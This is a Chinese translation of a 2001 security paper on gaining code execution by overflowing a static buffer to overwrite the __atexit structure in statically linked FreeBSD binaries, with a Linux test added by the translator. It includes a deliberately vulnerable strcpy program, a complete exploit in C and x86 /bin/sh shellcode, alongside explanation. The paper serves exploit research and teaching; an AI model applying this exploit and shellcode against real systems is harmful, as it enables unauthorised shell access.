歡迎您光臨本站 註冊首頁

通過覆蓋__atexit進行緩衝區溢出攻擊(1)

←手機掃碼閱讀     火星人 @ 2014-03-12 , reply:0
  翻譯:alert7(alert)
來源:http://www.xfocus.org/

通過覆蓋__atexit進行緩衝區溢出攻擊
--靜態編譯版本的heap溢出

原作者: Pascal Bouchareine <pb@hert.org>
原文: <<__atexit in memory bugs -
specific proof of concept with statically linked binaries and heap overflows>>
翻譯整理:alert7 <alert7@21cn.com>
主頁: http://www.xfocus.org/
時間: 2001-7-19


譯者註:這片文章可能很早就出來了,我看國內也沒有人介紹,乾脆就
翻譯出來一塊兒共享吧,如有什麼錯誤的地方,歡迎指正。
mailto:alert7@21cn.com

介紹:
本文討論了類似通過覆蓋.dtors進行緩衝區溢出攻擊的技術。歸根結底
是想方設法改變程序的執行流程,使之最終執行我們想要執行的代碼。本文
假設讀者熟悉普通的緩衝區溢出技術。


鳴謝:
感謝Andrew R. Reiter看了這片文檔,糾正一些錯誤。


內容:

I. atexit()的基本知識
II. atexit()的執行
III. Exploitation的概念
IV. Eggshell的定位
V. 一個exploit的例子



I. atexit()基本知識

先讓我們看看手冊:

NAME
atexit - 註冊一個在exit時候被調用的函數

SYNOPSIS
#include <stdlib.h>

int
atexit(void (*function)(void))

DESCRIPTION
atexit()函數註冊一個給定的函數,該函數在程序exit時候被調用
(不管是通過exit(3)或者還是通過從程序的main函數中返回)。
註冊的函數是反序被調用的;沒有參數。至少32個函數總是可以被註冊
的,只要有充分的分配的內存,更多的函數也是允許的。

看看下面程序的基本指令:

char *glob;

void test(void)
{
printf("%s", glob);
}

void main(void)
{
atexit(test);
glob = "Exiting.\n";
}
當執行時,應該在標準輸出上顯示"Exiting" .

II. atexit()的執行

atexit是做為libc函數導出的。
執行過程使用了一個靜態的atexit結構,該結構包含了那些在退出時候被
調用的函數的一個數組,在調用atexit函數的時候會插入一個結構(我們
將稱它為"fns"),在fns中有一個變數保存著下一個空的索引(我們稱
它為"ind"),當fns滿的時候,一個指針(我們稱為next)指向了下一個
被使用的atexit結構.

struct atexit {
struct atexit *next; /* next in list */
int ind; /* next index in this table */
void (*fns[ATEXIT_SIZE])(); /* the table itself */
};

當atexit()被調用時,它填充fns[ind],增加ind,這時ind就是下一個在fns中空的索引。
當fns滿的時候,一個新的atexit的結構被分配,並且它的next變數指向了最後
被使用的那個。

注意:一般atexit的使用的是不需要next的,它在初始化的時候被設置為
NULL。

當exit()被調用,它分析最後定義的atexit結構,並且執行在fns[ind]中的
函數,減少ind,依次執行。

當exit()被調用的時候,需要查看一些退出函數,然而,atexit()需要寫它,
atexit結構被分配是做為一個全局符號的,(在*bds上是__atexit, 在linux上
是__exit_funcs), 並且導出給其他函數的。

譯者註:如果你第一次讀這片文章,你可能會忽視了atexit()和__atexit
(在*bds上是__atexit, 在linux上是__exit_funcs)的關係。
__atexit就是被atexit函數使用的一個內部變數,下面有個圖指
示了atexit()如何利用__atexit的。

III. Exploitation的概念

這部分不是很準確。需要依靠執行時候的內存映象,依靠你的OS,還受許多
其他的因數的影響。

我們首先要知道__atexit在內存中的分配地址,判斷那裡是可以重寫的地址。所以我
寫了個簡單的例子。

extern void * __atexit;

int main(void)
{
static char scbuf[128];
char *mabuf;

mabuf = (char *) malloc(128);

printf("__atexit at %p\n", __atexit);
printf("malloced at %p\n", mabuf);
printf("static at %p\n", scbuf);
return 0;
}

編譯一下,有以下的結果:

pb@nod [405]$ gcc -o at at.c
pb@nod [406]$ ./at
__atexit at 0x280e46a0
malloced at 0x804b000
static at 0x8049660

pb@nod [407]$ gcc -o at -static at.c
pb@nod [408]$ ./at
__atexit at 0x8052ea0
malloced at 0x8055000
static at 0x8052e20


以上已經足夠說明問題了.可許你已經知道,動態編譯的版本是通過一個
mmap()調用來裝載libc庫函數的。 (0x280e46a0)現在看起來是我們不能修改
的, 但是靜態版本是可以的。

在靜態編譯的二進位中,libc被保存在程序的heap區,因此,__atexit的位置
在我們的靜態scbuf附近。在這個例子中,__atexit和scbuf相差0x80個位元組。
它意味著他們是位置連續的。如果你了解heap溢出,構造它應該不是件很難的
事情。

在靜態的字元緩衝區後面構造自己的atexit結構,覆蓋__atexit變數,可以使
exit()執行在內存中的任何地方。比如執行我們的eggshell。為了構造它,我
們需要明白atexit()是如何利用__atexit變數的,看下面類似gdb的輸出:

0 127 128 132 136 140
(an eggshell with nops) (next) (ind) (fns[0]) (fns[1])
0x90909090 ..... 0x00000000 0x00000001 0xbffff870 0x00000000

for (p = __atexit; p; p = p->next)
for (n = p->ind; --n >= 0;)
(*p->fns[n])();

第一種方法你可以使'ind'為正值,比如上面圖使ind為1,fns[0]為
eggshell的地址,但是這樣構造出來的atexit結構中包含了'\0'。我
們沒有辦法使用。

第二種方法是使p->next指向一塊我們精心構造的atexit結構的內存。
我們僅僅需要使ind為負的,可以不管fns的數組。

但是,我們到底如何找到那塊空間呢?

IV. Eggshell的定位

我要為這件事干一兩杯啤酒。

讀了execue的手冊和內核execve的執行過程,使我想起了我寫的第一個
c語言程序。我們知道,argc是參數的個數,argv是以null結尾的數組
(包含了以null結尾的字元串),envp是環境變數。一個正在執行的程序
要得到這些信息是容易的。
因此,在stack的頂部,一個 "vector table" 包含了這些信息當然還包括一些
其他的(例如信號掩碼)。讓我們看看在stack上的argv的存放:

0xbfbffb60: 0x00000000 0x00000005 0xbfbffc5c 0xbfbffc84
0xbfbffb70: 0xbfbffc8a 0xbfbffc8f 0xbfbffc92 0x00000000

在該例子中,argc是5。有5個指針指向5個argv元素。最後一個是以NULL結尾的。

上面看到的,使你想起那個atexit結構了嗎?:)


該圖完美的描繪了atexit的結構!ind=5,argv[4]是被調用函數的地址。所有
的工作準備就緒,但是還差點。我們只要猜測在stack上的 vector table的
正確地址就可以了,在__atexit->next填上該地址,在__atexit->ind填上負的,
這樣一切都OK了。

猜測argv[]的地址需要依靠你的OS。我看了一下/sys/kern/kern_exec.c,
讀了一下這個函數:

/*
* Copy strings out to the new process address space, constructing
* new arg and env vector tables. Return a pointer to the base
* so that it can be used as the initial stack pointer.
*/
register_t *
exec_copyout_strings(imgp)


這個函數解釋了如何計算argv的vector table地址,你的計算基於地址PS_STRING
(stack的基地址,less結構的ps_string大小),信號掩碼的大小,"SPARE_USERSPACE"
這個變數在我的freebsd上被定義256(可能這個變數被setproctitle()函數使用),和一些
其他複雜的東西。

為了使用可移植的計算方法,我使用了下面自我調用的方法來執行argv[]。
首先,如果你要利用有問題的程序的話,你需要把條件都準備好。但是不能以
特殊的參數調用自己。在第二次調用時,argv應該正確的被定位,然後再調
用有問題的程序。

有了這兩個技術,我想你應該有了一個高效率的緩衝區溢出的方法,而不再需要
計算offset了。

譯者註:這種兩次execve技術很不錯,兩次execve出來的進程的argv的地址是
一樣的。所以就不需要猜測argv的地址了

注意:對於format bug來說,這個技術聽起來很強大。__atexit在exploit中
經常位於victim的相同地址。我猜想這是因為mmap()分配地址是從固定的地址開始的。
正如一個傳統的format bug,你有如下一個字元串"AAAA%N$x%0Xx%n",這裡AAAA是
在你exploit中的__atexit的地址,N 是你想從重寫地址到stack的位元組個數。X是argv[]
的猜測地址。

[post note:事實上這些已經是眾所周知的了,在phrack的雜誌中有提到]

同理,對緩衝區溢出的exploit來說,你有一個容易得到的固定的返回地址:調用自己
--egg應該在安放在環境變數里-,然後調用victim egg的地址。

V. 一個Exploit的例子

Take the following vulnerable program :

extern void * __atexit;

int main(int argc, char **argv)
{
static char scbuf[128];
char *mabuf;

mabuf = (char *) malloc(128);

printf("__atexit at %p\n", __atexit);
printf("malloced at %p\n", mabuf);
printf("static at %p\n", scbuf);

if (argc > 1)
strcpy(scbuf, argv[1]);
}

scbuf[]的大小為128.我們需要craft下面的字元串:

offset 0 128 132 136
[XXXXXXXXXXXX..........][AAAA][BBBB][0...]

128個位元組的X垃圾,AAAA是猜測的argv地址,BBBB是一個負的數字
(0xffffffff就可以了),然後最後的位元組都被填為0。

我們必須把eggshell作為最後一個參數傳遞給有問題的程序。

假如程序有嚴格的檢查,我們討論的東西工作起來就會很困難。我們在這裡先不
討論這個,以後有興趣將做進一步的研究。

利用有問題程序,下面的exploit將產生一個shell:

--- expl.c -----------------8< (lazy indenting this. :) -------------

#include <stdio.h>


#define PROG "./vul"
#define HEAP_LEN 128

int main(int argc, char **argv)
{
char **env;
char **arg;
char heap_buf[150];

char eggshell[]= /* Mudge's */
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a\xe8\xc6\xff\xff\xff/bin/sh";

/* Craft the first part of the chain, pointing to argv[].
** We need, of course, a negative value for ind, or the real
** atexit default will be called.
*/

memset(heap_buf, 'A', HEAP_LEN);
*((int *) (heap_buf + HEAP_LEN)) = (int) argv - (2 * sizeof(int));
/*為了構造atexit結構*/

*((int *) (heap_buf + HEAP_LEN + 4)) = (int) 0xffffffff;
*((int *) (heap_buf + HEAP_LEN + 8)) = (int) 0;

/*
** Build environnement. Argv[argc-1] is set to whatever
** eggshell you want. This, in a struct atexit context,
** will be executed by exit.
*/

env = (char **) malloc(sizeof(char *));
env[0] = 0;

arg = (char **) malloc(sizeof(char *) * 4);
arg[0] = (char *) malloc(strlen(PROG) + 1);
arg[1] = (char *) malloc(strlen(heap_buf) + 1);
arg[2] = (char *) malloc(strlen(eggshell) + 1);
arg[3] = 0;


strcpy(arg[0], PROG);
strcpy(arg[1], heap_buf);
strcpy(arg[2], eggshell);

if (argc > 1) {
fprintf(stderr, "Using argv %x\n", argv);
execve("./vul", arg, env);
} else {
execve(argv[0], arg, env);
}
}

-------- expl.c (eof)------------------------------------------


作者文章到此就結束了,以上作者是在freebsd測試的。
下面是我在red hat 6.0上面做的測試:
[alert7@ww alert7]$ uname -a
Linux ww.alert7 2.2.5-15 #1 Mon Apr 19 23:00:46 EDT 1999 i686 unknown
[alert7@ww alert7]$ cat vul.c
#include <stdlib.h>
extern void * __exit_funcs;

int main(int argc, char **argv)
{
static char scbuf[128];
char *mabuf;
mabuf = (char *) malloc(128);
printf("__exit_funcs at %p\n", __exit_funcs);
printf("malloced at %p\n", mabuf);
printf("static at %p\n", scbuf);
printf("mabuf at %p\n", &mabuf);
if (argc > 1)
strcpy(scbuf, argv[1]);
}

[alert7@ww alert7]$ gcc -o vul vul.c -static -g
[alert7@ww alert7]$ ./vul
__exit_funcs at 0x80778c0
malloced at 0x8079b60
static at 0x8078e40
mabuf at 0xbffffdc0

[alert7@ww 3779]$ cat maps
08048000-08077000 r-xp 00000000 03:01 14361 /home/alert7/vul
08077000-08079000 rw-p 0002e000 03:01 14361 /home/alert7/vul
08079000-0807a000 rwxp 00000000 00:00 0
40000000-40002000 rw-p 00000000 00:00 0
bffff000-c0000000 rwxp 00000000 00:00 0

在linux上,我們看到__exit_funcs地址是0x80778c0,可寫。靜態定義的scbuf的
地址為0x8078e40,__exit_funcs在scbuf之前,所以想利用scbuf來覆蓋
__exit_funcs地址好象是不可能的吧。所以在linux上討論利用__atexit進行
緩衝區溢出的攻擊也是失去了意義。




[火星人 ] 通過覆蓋__atexit進行緩衝區溢出攻擊(1)已經有588次圍觀

http://coctec.com/docs/security/show-post-72838.html